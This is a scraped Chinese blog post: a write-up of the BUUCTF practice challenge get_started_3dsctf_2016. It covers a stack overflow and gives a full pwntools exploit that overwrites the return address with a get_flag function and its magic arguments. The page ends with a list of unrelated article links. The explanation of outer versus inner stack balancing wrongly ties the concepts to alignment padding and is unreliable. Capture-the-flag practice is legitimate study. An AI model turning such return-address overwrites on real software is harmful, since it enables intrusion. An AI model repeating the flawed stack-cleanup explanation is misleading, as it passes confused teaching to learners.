当前位置: 首页 > news >正文

buu-get_started_3dsctf_2016-好久不见39

栈溢出+外平栈

1外平栈与内平栈的区别

  • 外平栈

    • 栈帧的局部变量和返回地址之间没有额外的对齐或填充。
    • 返回地址直接位于局部变量的上方(即栈顶方向)。
    • 在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量)。
  • 内平栈

    • 栈帧的局部变量和返回地址之间可能存在对齐或填充(例如,编译器为了对齐而插入的额外空间)。
    • 返回地址与局部变量之间有一定的距离。
    • 在计算偏移时,需要额外加 4(或其他值,具体取决于对齐方式)。

2. add esp, 3Ch; retn 的作用

  • add esp, 3Ch:释放栈上分配的 60 字节空间(3Ch = 60)。
  • retn:从栈顶弹出返回地址并跳转到该地址。

在漏洞利用中,这两条指令通常用于调整栈指针并返回到攻击者控制的地址。


3. 外平栈与内平栈的偏移计算

假设有以下栈布局:

外平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 返回地址        |  <- esp + 60 (3Ch)
+-----------------+
  • 局部变量与返回地址之间没有额外空间。
  • 在计算偏移时,直接使用 offset = 60,不需要额外加 4。
内平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 对齐填充        |  <- esp + 60 (3Ch)
+-----------------+
| 返回地址        |  <- esp + 64 (40h)
+-----------------+
  • 局部变量与返回地址之间有 4 字节的对齐填充。
  • 在计算偏移时,需要额外加 4,即 offset = 64

from pwn import *
io = remote("node5.buuoj.cn",28027)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

http://www.dtcms.com/a/30696.html

相关文章:

  • WordPress自定义排序插件:Simple Custom Post Order完全指南(SEO优化版)
  • 探讨一下游戏的重要性
  • netcore libreoffice
  • Windows - 通过ssh打开带有图形界面的程序 - 一种通过计划任务的曲折实现方式
  • 2024年数字政府服务能力优秀创新案例汇编(附下载)
  • 【QT中的一些高级数据结构,持续更新中...】
  • 高精度算法解析与实现(c++)
  • QT实战-基于QWidget实现的异形tip窗口
  • Python爬虫实战:获取12306特定日期、城市车票信息,并做数据分析以供出行参考
  • AcWing走迷宫-最短路问题-BFS求解
  • 小型字符级语言模型的改进方向和策略
  • 面阵工业相机提高餐饮业生产效率
  • TDengine 产品组件: 客户端 taosc
  • 【rt-thread】rt-thread 控制 led 的两种方式
  • DeepSeek掘金——调用DeepSeek API接口 实现智能数据挖掘与分析
  • wordpress adrotate插件 文件上传漏洞
  • 汽车自动驾驶辅助L2++是什么?
  • ARM Linux平台下 OpenCV Camera 实验
  • Apache Flink架构深度解析:任务调度、算子数据同步与TaskSlot资源管理机制
  • 【AI】常见的AI工具地址和学习资料链接
  • 玩机日记 10 群晖开启文件服务挂载到手机/电脑,测试传输性能
  • 基于JSP和Servlet的学籍管理系统(源码+lw+部署文档+讲解),源码可白嫖!
  • 蓝桥杯刷题2.21|笔记
  • 深度学习笔记16-VGG-16算法-Pytorch实现人脸识别
  • 一文精通JWT Token、ID Token、Access Token、Refresh Token
  • 有哪些科目二倒车入库技巧?
  • PHP 完整表单实例
  • Blender云渲染新纪元:渲染101如何释放创作潜能
  • HarmonyOS 开发套件 介绍 ——上篇
  • Java NIO与传统IO性能对比分析